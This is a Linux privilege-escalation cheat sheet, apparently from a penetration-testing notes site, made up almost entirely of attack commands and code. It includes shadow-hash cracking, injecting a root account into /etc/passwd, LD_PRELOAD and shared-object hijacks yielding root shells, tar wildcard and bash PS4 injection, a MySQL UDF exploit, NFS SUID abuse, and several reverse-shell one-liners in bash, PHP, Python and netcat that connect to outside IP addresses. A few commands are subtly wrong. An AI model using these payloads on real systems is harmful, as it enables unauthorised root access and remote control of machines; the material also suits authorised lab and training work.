Linux PrivEsc
METHODOLOGY:
Run "uname -a" to check kernel version.
Run "sudo -l" command. (If nothing found, move ahead)
Check /etc/passwd for usernames.
If /etc/passwd has W access then use openssl to create new root user.
Check if /etc/shadow has RW access. (Crack the hash)
Check for backup files at /home/user, /root, /tmp, /var/backups
Enumerate user's home directory (check for interesting files, intel, ssh keys)
Check web root dir. cd /etc/apache2. grep -Ri DocumentRoot .
Check grep -R '$bigtree\["config"\]["db"\]' . (. for current dir)
Alternative for above find . -iname '*config*'
Enumerate the /var/www/ directory to find config files and other info.
Check already found credentials for database running on machine.
Check if root login is allowed with SSH (grep PermitRootLogin /etc/ssh/sshd_config)
If you find nothing after this, then follow these steps:
FILE PERMISSIONS /etc/shadow
#READ ACCESS
#Extract the hash and save it in hash.txt file in Kali machine
#Check the hash type using https://hashcat.net/wiki/doku.php?id=example_hashes
#Crack it using JOHN or HASHCAT
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
#Switch to that user using "su username" followed by password you cracked
#WRITE ACCESS
#Create a password hash
mkpasswd -m sha-512 newpass
#Replace the user's hash with the one we generated
FILE PERMISSIONS /etc/passwd
#READ ACCESS
#Check for usernames
#WRITE ACCESS
#Create a new password hash
openssl passwd newpassword
#Add this hash to the 2nd field in root user(x) and then switch to it using su command
#Alternatively you can create a new root user
openssl passwd -1 -salt hacker pass123
#Append it to the file and then switch to the user
hacker:$1$hacker$zVnrpoW2JQO5YUrLmAs.o1:0:0:root:/root:/bin/bash
#You can even copy the row of "root" user and change the name to "newroot" and add the newly created password in the 2nd column (x)
SUDO PRIVESC
#List programs a user is allowed to run
sudo -l
#Check GTFO bins or Google for a privesc related to it.
--------------------------------------------------------------------------------------
#LD_PRELOAD (env_keep option)
#Create file preload.c with following content:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
#Create shared object of the file
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
#Run any program from "sudo -l" list while setting the LD_PRELOAD environment variable to the full path of the new shared object
sudo LD_PRELOAD=/tmp/preload.so program-name-here #Root shell gained
--------------------------------------------------------------------------------------
#LD_LIBRARY_PATH (env_keep option)
#Run the following command against any program to view shared libraries used by the program
ldd /usr/sbin/apache2 #Running against apache2. Replace it with any program of choice from "sudo -l"
#Create a file library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
#Create a shared object with with same name as one of the listed libraries in ldd command
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c #libcrypt.so.1 was listed in ldd
#Run the program by setting the library path to /tmp
sudo LD_LIBRARY_PATH=/tmp <program> #Root shell gained
--------------------------------------------------------------------------------------
#Run the program
sudo <program>
sudo -u <username> <program>
SUID/SGID FILES
#Find all SUID/SGID binaries
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-------------------------------------------------------------------------------------------
#Check if there is an uncommon binary. Check its version. Find exploits for it.
-------------------------------------------------------------------------------------------
#SHARED OBJECT INJECTION
#Execute the binary and check what is it displaying
#Run "strace" command to check for system calls
strace /PathToBinary/binary
#Filter the output to check for open/access calls and for "no such file" errors:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
#Check what does the executable try to load. Also check if we have access and permissions for that directory
#Create a new directory if required (if the ouput shows a new directory which was not previously present)
#Create a C file <program>.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
#Create a shared object file from the C file
gcc -shared -fPIC -o /PathShownInStrace/<program>.so <program>.c
#Execute the binary again to get root shell
-------------------------------------------------------------------------------------------
#PATH ENV VARIABLE
#If a program tries to execute another program but only specifies the program name, rather than it's absolute full path then shell will search the PATH directories until its found.
#Execute the binary and check what it is displaying
#Run "strings", "strace", "ltrace" command to check for printable characters
strings /PathToBinary/binary_name
strace -v -f -e execve /PathToBinary/binary_name 2>&1 | grep exec
ltrace /PathToBinary/binary_name
#Check which command is executing WITHOUT FULL PATH
#Create a file <command_name>.c
int main() {
setuid(0);
system("/bin/bash -p");
}
#Compile the file into an executable called <command_name>
gcc -o <command_name> <command_name>.c
#Prepend the current directory to the PATH variable and execute the file to get root shell
PATH=.:$PATH /PathToBinary/binary_name
---------------------------------------------------------------------------------------
#ABUSING SHELL FEATURES
#Run "strings", "strace", "ltrace" command to check for printable characters
strings /PathToBinary/binary_name
strace -v -f -e execve /PathToBinary/binary_name 2>&1 | grep exec
ltrace /PathToBinary/binary_name
#Check which command is executing WITH FULL PATH
##Check the bash version. It should be lower than 4.2-048
/bin/bash --version
#This will only work if the PATH is writable
#Create a function and then export it
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
#Execute the binary to get a root shell
---------------------------------------------------------------------------------------
#ABUSING SHELL FEATURES 2
#Check Bash version. It should be below 4.4
#Run the following commadn to check if <test> is prepended to every command
env -i SHELLOPTS=xtrace PS4='<test>' /PathToBinary/binary_name
#If it is, then run system command to verify if its working
env -i SHELLOPTS=xtrace PS4='$(whoami)' /PathToBinary/binary_name
#If you get the desired output then try to get a root shell
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /PathToBinary/binary_name
#Then execute
/tmp/rootbash -p
CRON JOBS
#User cron tabs are located at /var/spool/cron or /var/spool/cron/crontabs
#System cron tabs are located at /etc/crontab
#Check the location of the cron job with "locate" and permissions using "ls -la"
--------------------------------------------------------------------------------------
#W ACCESS TO .sh file
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
OR
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
#W ACCESS to .php file
Write the file with pentest monkey reverse shell OR
$sock=fsockopen("10.10.14.24", 443);
exec("/bin/sh -i <&3 >&3 2>&3");
#W ACCESS to .py file
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
#OS command running in a file
/bin/nc -e /bin/bash 10.10.14.4 8082
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"')
--------------------------------------------------------------------------------------
#PATH ENV VARIABLE (System will check this path first)
cat /etc/crontab
#Check the starting path (PATH = ). If the path is writeble, do the following
#Below job_name refers to the cron job with no absolute path
#Create a file <job_name.sh> in the writeble path
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
#Give it executable permissions
chmod +x /PATH/job_name.sh
#Run the following after cron job is executed
/tmp/rootbash -p
--------------------------------------------------------------------------------------
#WILDCARDS *
#View the contents of the file using "cat" or "strings"
#If it has a *
#EXAMPLE 1 TAR *
echo 'cp /bin/bash > /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh
#Wait for the scheduled task to run
/tmp/bash -p
#EXAMPLE 2 TAR *
#Create reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
#Transfer file to victim's home directory and give in executable permissions
chmod +x /home/user/shell.elf
#Create 2 more files in victim's home directory
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
#You will get shell on you listener when the cron job runs.
PASSWORDS AND KEYS
#HISTORY FILE
#Check if you can find anything interesting in history file.
cat ~/.*history | less
#CONFIG FILES
#Check config files for passwords or username
BACKUP FILES
#Check for SSH keys
ls -la #At / directory and other directories
#If you find .ssh directory access then check if it has private key.
#You can find private key elsewhere as well.
#Check if Root login is permited
grep PermitRootLogin /etc/ssh/sshd_config
#Copy the private key to Kali machine and give it correct permissions
chmod 600 key_file
#SSH using the key
ssh -i key_file user@victimIP
#SERVICE EXPLOITS: Check processes running as root (mostly MySQL)
ps aux | grep "^root"
#If you find something interesting then check its version
<program> --version
<program> -v
dpkg -l | grep <program> #Debian
rpm -qa | grep <program> #RPM
MYSQL UDF
#MYSQL UDF
gcc -g -c raptor_udf2.c #Compile 32bit
gcc -g -c raptor_udf2.c -fPIC #Compile 64bit
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc #Create shared object from compiled exploit
mysql -u root -p #Connect to mysql as root
use mysql; #Use mysql database
create table foo(line blob); #Create a table named foo
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); #Use the correct path of .so file
select @@plugin_dir; #Check the plugin directory
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; #Dump into plugin directory
create function do_system returns integer soname 'raptor_udf2.so'; #Create function
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash'); #Use func to copy and set SUID
#Exit out of mysql and run
/tmp/rootbash -p #Get root shell
NFS
#Check if you can mount any directory. Also check if root squashing is disabled on any directory with the command:
cat /etc/exports
#Verify using:
showmount -e victimIP
#Make a mount directory in Kali machine
mkdir /tmp/mnt
#Mount the "tmp" directory of victim machine (Assuming tmp is mountable)
mount -o rw,vers=2 victimIP:/tmp /tmp/mnt
#METHOD 1:
#Create a malicious C file
echo 'int main() { setgid(0); setuid(0); system("\bin\bash"); return 0; }' > /tmp/mnt/shell.c
#Check if the file has been created then compile it
gcc /tmp/mnt/shell.c -o /tmp/mnt/shell
#Ignore the warnings
chmod +s /tmp/mnt/shell
#Go to victim machine and execute the file
cd /tmp
./shell
#METHOD 2:
#Create a reverse shell using msfvenom
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
#Make file executable and set SUID permissions
chmod +xs /tmp/nfs/shell.elf
#From victim machine run the following to get root shell
/tmp/shell.elf
SSH PORT FORWARDING
#Check if any service is listening internally (127.0.0.1)
netstat -ano
#Restart SSH service on Kali machine
service shh restart
#Run this on victim machine
ssh -R <KaliPort>:127.0.0.1:<ServicePort> root@<KaliIP>
ssh -L <KaliPort>:127.0.0.1:<ServicePort> <VictimUser>@<VictimIP>
ssh -R 4444:127.0.0.1:3306 root@10.11.15.38
#Connect to service on local port
mysql -u root -h 127.0.0.1 -P 4444
MYSQL UDF
#You can gain root if you can login to mysql running as root without password
#Download raptor_udf2.c
#Then compile with the following command:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#Connect to mysql without password on victim machine
mysql -u root
#Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
#Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
#Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -p
#Remove the rootbash file as clearing track
Last updated
Was this helpful?